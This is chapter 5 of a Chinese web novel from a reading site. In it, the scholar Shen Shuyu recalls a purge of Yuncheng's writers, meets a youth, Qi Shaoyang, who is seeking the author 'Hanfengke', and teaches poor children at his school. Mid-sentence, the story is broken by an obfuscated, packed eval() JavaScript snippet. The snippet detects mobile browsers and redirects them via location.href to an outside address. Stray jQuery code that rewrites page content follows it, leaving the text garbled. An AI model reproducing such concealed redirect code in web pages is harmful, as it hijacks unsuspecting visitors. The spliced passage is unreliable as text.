123读书网 > 都市小说 > 疏玉风月 > 5.第五章
    当年的那一场风波,是云城文人心中一道不可触碰的伤疤,众人将那件事皆称之为“云城文难”。


    那已经是两年前的事。


    当时全城多家谈时事、议黑暗的小报,一夜之间被封。


    官府借口“言论惑众、扰乱市面”,联合城中权贵势力捣毁多家报社,甚至抓捕了数十名执笔作者与编辑。不少人入狱受苦,家破人亡,昔日笔墨意气,一朝尽成血与泪。


    沈疏玉那时恰逢计划办私塾,在外地筹措资金,侥幸不在云城,得以躲过一劫。


    等他筹集好资金赶回云城时,只看见一片狼藉,熟识的文友下落不明,昔日热血同道,死的死、散的散、噤声的噤声。


    他也曾想过奔走相救,可几次试探,却只换来更深的恐惧与压迫。他终于明白,在强权与资本面前,一介书生的笔再锋利,也挡不住刀枪。


    一腔热血磨成灰烬,他才退而求其次,坚持开了这间不图盈利、只教导穷孩子的私塾,只求守住这一方小小的清静之地。


    而当年被他笔锋直指、骂得最狠的,正是云城第一豪门——齐家。


    要说这齐家,在云城真是权势滔天,甚至连官府都要让他三分颜面,是真正的一手遮天。街知巷闻,云城半城的生意都姓齐。眼前这位少年姓齐,又是崇贤大学的学生,身份自然不言而喻。


    沈疏玉快速思索了一番,心头微沉,便认为此人可能是齐家派来翻旧账的,就算是憋得什么原因,也决不可放松警惕,只是这么久过去,竟然还会有人再找来。难道那些人,又计划着什么吗?


    他既怕当年旧事重提,惹来牢狱之灾,又怕牵连私塾与孩子,一时间心绪纷乱,垂下目光,不敢直视眼前的人。


    此刻,他身旁的赵绪宁已经上前一步,神色平静地开口道:“我才是本社的新社长,赵绪宁,你找错人了。”


    原本神色激动的齐绍扬听闻这话,神色一怔,立刻转向他,眼中依旧满是急切,攥着报纸继续追问道:“赵先生,那您一定知道这位作者到底是谁?住在哪里?我有要紧事,一定要见到他。”


    赵绪宁眉峰微蹙,听完这话,仔细思索了一番,又仔细看了看这篇文章与作者名字,随后才回答道:“我刚接手书社不久,旧档繁杂,多年前的作者信息并未交接完整,确实无从知晓。”


    齐绍扬脸上的期待瞬间熄灭,那双明亮的眼睛也黯淡下去,从满怀希望,变成了满心落寞的模样。


    他显然还想再多追问几句,可得到的答案依旧是“不知”“不清楚”,他的肩膀便彻底垮了下去,最终失魂落魄地应了一声,慢慢转身走出书社。


    这人终于走了,书社内的伙计们今早本就忙碌,自然不再关心他,只顾着赶紧处理手头上的事情。


    只有沈疏玉,因方才的事对他格外警惕,还是朝门外看了一眼,却见这叫齐绍扬的人并没有着急走,就蹲在对面的老槐树下,双手依旧紧紧攥着那份皱巴巴的报纸,抬着头,一双眼睛在热闹的街头上四处搜寻,像是要努力在人群中寻觅到他想要找的那抹身影似的,一动不动。


    沈疏玉只看了一眼,便收回了目光,压下心头的纷乱,想起自己的正事,转向赵绪宁,轻声再次询问道:“赵先生,方才说的稿酬,不知现在可否支取?我那边有急事,急需用钱。”


    “自然可以。”赵绪宁见他神色焦急,心知事情紧要,也不再走登记流程,直接从自己兜里拿出钱袋,取出一沓钱币递到他手中,似乎也没认真数过,便说道:“你急用,便先拿去应急。”


    沈疏玉见他如此大方,又看他递来的数目不小,心中一惊,连忙说道:“赵先生可要数一数,别给多了。”


    赵绪宁只道:“你先拿去用便是,其余的,等我空闲下来,再给你仔细核算稿费。若是少了你的,我再给你添补。多了的,你多给我写几篇文稿就好。”


    他语气真挚认真,神色平静温和。


    沈疏玉知晓再拒绝便太过见外,心中感叹这位赵先生当真是个好人,脸上露出一抹轻笑,向他道了谢,将钱收好。因惦记着私塾的学生,便不再多留,匆匆告辞离去。


    此时晨雾已然散去,书社门口是青石板铺就的小街,阳光暖暖地洒在街头,微风拂过槐树叶,落下细碎的光影。


    沈疏玉出来后,看见依旧蹲在树下的齐绍扬,见少年眉眼间的落寞,再想起他方才的模样,心中既有好奇,又有警惕,便顿住脚步,走上前去。


    齐绍扬本已对此事不抱希望,只是固执地想在这里多待一会儿,也没奢望真能找到人。


    他的目光随意乱扫,毫无焦点,这时有人走上前来,一道影子落在他身前,他便抬起头,撞进眼前人的眼眸。


    这人身着月白长衫,身姿清挺,容颜清艳,在阳光下更显清润温和。


    他这才想起,这便是方才自己认错的人,连忙从地上站起来,有些局促地捏着手里的报纸,先开口致歉:“先生,刚才实在不好意思,我太着急了,对你多有莽撞与无礼。”


    正如他所说,先前他的举动与言语确实格外莽撞粗鲁,本易让人留下不好的印象。可此刻他言辞谦逊,姿态诚恳,让沈疏玉对他的印象稍好一些,警惕也减了几分。


    但沈疏玉依旧好奇,他为何非要找“寒锋客”,便试探着说道:“你要找的那人,我好像有些线索。”


    齐绍扬本已失落到极点,听闻这话,猛地抬头看他,眼睛瞬间亮了起来,仿佛乌云破开,日光倾泻而下。他惊喜又急切地说道:“真的吗,先生?您真的知道?求您告诉我!”


    沈疏玉看了看天色,知道自己出来许久,实在急着回私塾上课,只得说道:“我眼前有要紧事,不便多谈。你留个电话,改日我再与你细说,如何?”


    无论如何,能得到这样的消息,齐绍扬已然欣喜不已,连忙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262692|197970||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    应声:“好!好!”说着便从口袋里掏出笔记本和钢笔,飞快写下一串号码,撕下那页纸递到他面前,眼里满是期待。


    沈疏玉接过纸,整齐地折叠好,实在没时间多言,便又匆匆告辞,往私塾的方向赶去。


    夏末的日头已爬至高空,带着些许暑气,就连掠过街巷的清风,也只能带来几分微薄的凉爽。


    沈疏玉匆匆赶路,额间已沁出些许薄汗,脸颊因急促行走泛着浅淡的绯色。


    他来不及稍作歇息,赶紧推开私塾教室的门——即便他迟到许久,教室里也没有半点嬉闹声,十几名衣衫朴素的学生端坐在各自的课桌前,安安静静地伏案自习。


    沈疏玉心头一松,又因自己迟到满心歉疚,走到讲台上,微微躬身,声音清润温和,还带着一丝未平的气喘:“我今日有事来迟,让大家久等了,真是对不住。”


    看见他来,学生们早已纷纷抬起头,听到他的道歉,更是七嘴八舌地应着:“没关系,先生不迟!”


    “我们等先生是应该的!”


    “这才一会儿,感觉都没等多久!梦都还没做呢!”


    听完这些话,沈疏玉忍不住轻笑,眼尾微微上扬,笑意温柔又漂亮。


    随后他维持了一下秩序,学生们便又安静下来,他准备开始今日的课程。


    今日他教的是《弟子规》,不讲晦涩的大道理,只挑浅显易懂的字句,结合《诗经》里的温暖小事细心讲解。


    学生们在他温和动听的声音中听得格外认真。他站在讲台上,几缕阳光透过木窗落在他身上,为他镀上一层柔和的金光。


    他说话语速舒缓,每一个字都宛如清风拂面,又似清泉淌过心间。


    走下来时,若是有学生坐姿不正确,他便会轻轻拂过对方的肩膀,温柔地帮其纠正。


    此刻他讲到“亲所好,力为具”,注意到一个年纪尚小、性格怯懦的小男孩,正笨拙地写着这句话,还写错了字。


    他便停下脚步,弯腰俯身,耐心地握着孩子的小手,一笔一画地教他写字。


    待他直起身,正要继续讲课,余光忽然瞥见窗边的身影,下意识朝那边看去,正好对上窗外一道呆愣的视线。


    那人正是不久前才见过的齐绍扬。


    他不知何时跟着沈疏玉来到了私塾,就站在树荫下的窗边,方才大概看得格外入神,此刻与沈疏玉的目光相撞,还处在呆愣之中。


    但很快,他便回过神来,被当场抓包,脸上掠过一丝羞赧,随即又扬起一抹开朗又腼腆的笑。


    沈疏玉在此处见到他,着实意外,可此刻正在上课,不便立刻说些什么,只能先无奈地笑了笑。


    私塾的窗棂半开,风卷着桂花香飘进来,沈疏玉立在满堂书香与暖阳之中,眉眼清艳,神色温和,笑意里带着几分无奈,却无半分苛责。


    这一抹浅笑,又让齐绍扬愣了好一会儿。